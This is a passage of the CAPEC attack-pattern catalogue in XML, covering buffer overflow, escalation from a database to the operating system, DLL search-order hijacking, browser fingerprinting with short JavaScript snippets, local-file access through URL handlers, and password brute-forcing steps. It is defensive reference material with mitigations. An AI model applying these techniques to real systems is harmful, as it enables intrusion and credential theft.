							sufficient room for the payload. So not every buffer overflow will be
							exploitable, even by a skilled attacker.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Access to the program source or binary. If the program is only available in
					binary then a disassembler and other reverse engineering tools will be
					helpful.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Ensure that when parameter expansion happens in the code that the
						assumptions used to determine the resulting size of the parameter are
						accurate and that the new size of the parameter is visible to the whole
						system</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>130<!--Improper Handling of Length Parameter Inconsistency --></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>131<!--Incorrect Calculation of Buffer Size--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>C</Language>
					<Language>C++</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>G. Hoglund and G. McGraw. Exploiting Software: How to Break
							Code.</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="470"
			Name="Expanding Control over the Operating System from the Database"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to leverage access gained to the database to read /
						write data to the file system, compromise the operating system, create a
						tunnel for accessing the host machine, and use this access to potentially
						attack other machines on the same network as the database machine.</Text>
					<Text>Traditionally SQL injections attacks are viewed as a way to gain
						anauthorized read access to the data stored in the database, modify the data
						in the database, delete the data, etc. However, almost every data base
						management system (DBMS) system includes facilities that if compromised
						allow an attacker complete access to the file system, operating system, and
						full access to the host running the database. The attacker can then use this
						privileged access to launch subsequent attacks.</Text>
					<Text>These facilities include dropping into a command shell, creating user
						defined functions that can call system level libraries present on the host
						machine, stored procedures, etc.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A vulnerable DBMS is used</Text>
					<Text>A SQL injection exists that gives an attacker access to the database or an
						attacker has access to the DBMS via other means</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Low level knowledge of the varoius facilities available in different
							DBMS systems for interacting with the file system and operating
							system</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Follow the defensive programming practices needed to protect an
						application accessing the databae from SQL injection</Text>
					<Text>Configuration: Ensure that the DBMS is patched with the latest security
						patches</Text>
					<Text>Design: Ensure that the DBMS login used by the application has the lowest
						possible level of privileges in the DBMS</Text>
					<Text>Design: Ensure that DBMS runs with the lowest possible level of privileges
						on the host machine and that it runs as a separate user</Text>
					<Text>Usage: Do not use the DBMS machine for anything else other than the
						database</Text>
					<Text>Usage: Do not place any trust in the database host on the internal
						network. Authenticate and validate all network activity originating from the
						database host.</Text>
					<Text>Usage: Use an intrusion detection system to monitor network connections
						and logs on the database host.</Text>
					<Text>Implementation: Remove / disable all unneeded / unused functions of the
						DBMS system that may allow an attacker to elevate privileges if
						compromised</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>250<!--Execution with Unnecessary Privileges--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>89<!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>66<!--SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>108<!--Command Line Execution through SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Bernardo Damele Assumpcao Guimaraes</Reference_Author>
					<Reference_Title>Advnced SQL Injection to Operating System Full
						Control</Reference_Title>
					<Reference_Publisher>http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-whitepaper.pdf</Reference_Publisher>
					<Reference_PubDate>2009-04-10</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="471" Name="DLL Search Order Hijacking" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker exploits the functionality of the Windows DLL loader where
						the process loading the DLL searches for the DLL to be loaded first in the
						same directory in which the process binary resides and then in other
						directories (e.g., System32). Exploitation of this preferential search order
						can allow an attacker to make the loading process load the attacker's rogue
						DLL rather than the legitimate DLL.</Text>
					<Text>For instance, an attacker with access to the file system may place a
						malicious ntshrui.dll in the C:\Windows directory. This DLL normally resides
						in the System32 folder. Process explorer.exe which also resides in
						C:\Windows, upon trying to load the ntshrui.dll from the System32 folder
						will actually load the DLL supplied by the attacker simply because of the
						preferential search order. Since the attacker has placed its malicius
						ntshrui.dll in the same directory as the loading explorer.exe process, the
						DLL supplied by the attacker will be found first and thus loaded in lieu of
						the legitimate DLL. Since explorer.exe is loaded during the boot cycle, the
						attacker's malware is guaranteed to execute.</Text>
					<Text>This attack can be leveraged with many different DLLs and with many
						different loading processes. No forensic trails are left in the system's
						registry or file system that an incorrect DLL had been loaded.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Windows system is used</Text>
					<Text>Attacker has a mechanism to place its malicious DLLs in the needed
						location on the file system</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Ability to create a malicious DLL and get it to the right location on
							the victim's file system</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Fix the Windows loading process to eliminate the preferential
						search order by looking for DLLs in the precise location where they are
						expected</Text>
					<Text>Design: Sign system DLLs so that unauthorized DLLs can be detected.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>427<!--Uncontrolled Search Path Element--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>706<!--Use of Incorrectly-Resolved Name or Reference--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>251<!--Local Code Inclusion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>38<!--Leveraging/Manipulating Configuration File Search Paths--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>159<!--Redirect Access to Libraries--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Mandiant</Reference_Author>
					<Reference_Title>M Trends Report</Reference_Title>
					<Reference_Publisher>www.mandiant.com</Reference_Publisher>
					<Reference_PubDate>2011</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="472" Name="Browser Fingerprinting" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text> An attacker carefully crafts small snippets of Java Script to efficiently
						detect the type of browser the potential victim is using. Having this
						knowledge allows an attacker to target the victim with attacks that
						specifically exploit known or zero day weaknesses in the type and version of
						the browser used by the victim.</Text>
					<Block>
						<Text>The following code snippets can be used to detect various
							browsers:</Text>
						<Text>//Firefox 2/3</Text>
						<Text>FF=/a/[-1]=='a'</Text>
						<Text/>
						<Text>//Firefox 3</Text>
						<Text>FF3=(function x(){})[-5]=='x'</Text>
						<Text/>
						<Text>//Firefox 2</Text>
						<Text>FF2=(function x(){})[-6]=='x'</Text>
						<Text/>
						<Text>//IE</Text>
						<Text>IE='\v'=='v'</Text>
						<Text/>
						<Text>//Safari</Text>
						<Text>Saf=/a/.__proto__=='//'</Text>
						<Text/>
						<Text>//Chrome</Text>
						<Text>Chr=/source/.test((/a/.toString+''))</Text>
						<Text/>
						<Text>//Opera</Text>
						<Text>Op=/^function \(/.test([].sort)</Text>
					</Block>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Victim's browser visits a website that contains contains attacker's Java
						Script</Text>
					<Text>Java Script is not disabled in the victim's browser</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: Disable Java Script in the browser</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>224<!--Fingerprinting-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>116<!--Data Excavation Attacks-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Gareth Heyes</Reference_Author>
					<Reference_Title>Detecting browsers javascript hacks</Reference_Title>
					<Reference_Publisher>http://www.thespanner.co.uk/2009/01/29/detecting-browsers-javascript-hacks/</Reference_Publisher>
					<Reference_PubDate>2009-01-29</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="48" Name="Passing Local Filenames to Functions That Expect a URL"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack relies on client side code to access local files and resources
						instead of URLs. When the client browser is expecting a URL string, but
						instead receives a request for a local file, that execution is likely to
						occur in the browser process space with the browser's authority to local
						files. The attacker can send the results of this request to the local files
						out to a site that they control. This attack may be used to steal sensitive
						authentication data (either local or remote), or to gain system profile
						information to launch further attacks.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim's software must not differentiate between the location and type
						of reference passed the client software, e.g. browser</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>J2EE applications frequently use .properties files to store
							configuration information including JDBC connections, LDAP connection
							strings, proxy information, system passwords and other system metadata
							that is valuable to attackers looking to probe the system or bypass
							policy enforcement points. When these files are stored in publicly
							accessible directories and are allowed to be read by the public user,
							then an attacker can list the directory identify a .properties file and
							simply load its contents in the browser listing its contents. A standard
							Hibernate properties file contains</Text>
						<Block>
							<Code>hibernate.connection.driver_class = org.postgresql.Driver</Code>
							<Code>hibernate.connection.url =
								jdbc:postgresql://localhost/mydatabase</Code>
							<Code>hibernate.connection.username = username</Code>
							<Code>hibernate.connection.password = password</Code>
							<Code>hibernate.c3p0.min_size=5</Code>
							<Code>hibernate.c3p0.max_size=20</Code>
						</Block>
						<Text>Even if the attacker cannot write this file, there is plenty of
							information to leverage to gain further access.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Attacker identifies known local files to exploit</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all configuration files and resource are either
						removed or protected when promoting code into production.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>241<!--Improper Handling of Unexpected Data Type--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>706<!--Use of Incorrectly-Resolved Name or Reference--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="49" Name="Password Brute Forcing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In this attack, the attacker tries every possible value for a password
						until they succeed. A brute force attack, if feasible computationally, will
						always be successful because it will essentially go through all possible
						passwords given the alphabet used (lower case letters, upper case letters,
						numbers, symbols, etc.) and the maximum length of the password.</Text>
					<Text>A system will be particularly vulnerable to this type of an attack if it
						does not have a proper enforcement mechanism in place to ensure that
						passwords selected by users are strong passwords that comply with an
						adequate password policy.</Text>
					<Text>In practice a pure brute force attack on passwords is rarely used, unless
						the password is suspected to be weak. Other password cracking methods exist
						that are far more effective (e.g. dictionary attacks, rainbow tables,
						etc.).</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine application's/system's password
											policy</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the password policies of the target
												application/system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Determine minimum and maximum allowed
												password lengths.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Determine format of allowed passwords
												(whether they are required or allowed to contain
												numbers, special characters, etc.).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Determine account lockout policy (a strict
												account lockout policy will prevent brute force
												attacks).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Passwords are used in the
												application/system</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Passwords are not used for authentication;
												however, brute forcing of other protection
												mechanisms may also be possible.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Brute force password</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Given the finite space of possible passwords
												dictated by the password policy determined in the
												previous step, try all possible passwords for a
												known user ID until application/system grants
												access.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually or automatically enter all possible
												passwords through the application/system's
												interface. In most systems, start with the
												shortest and simplest possible passwords, because
												most users tend to select such passwords if
												allowed to do so.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Perform an offline dictionary attack or a
												rainbow table attack against a known password
												hash.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Weak passwords allowed, and no account
												lockout policy enforced.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Password hashes can be captured by
												attacker.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Accounts locked out after small number of
												failed authentication attempts.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker determines correct
												password for a user ID and obtains access to
												application or system.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Attacker is unable to determine
												correct password for a user ID and obtain access
												to application or system.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Failure">
												<Outcome_Description>Attacker locks out account
												while attempting to brute force its
												password.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Large number of
												authentication failures in
												logs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Enforce strict account
												lockout policies.</Security_Control_Description>
											</Security_Control>
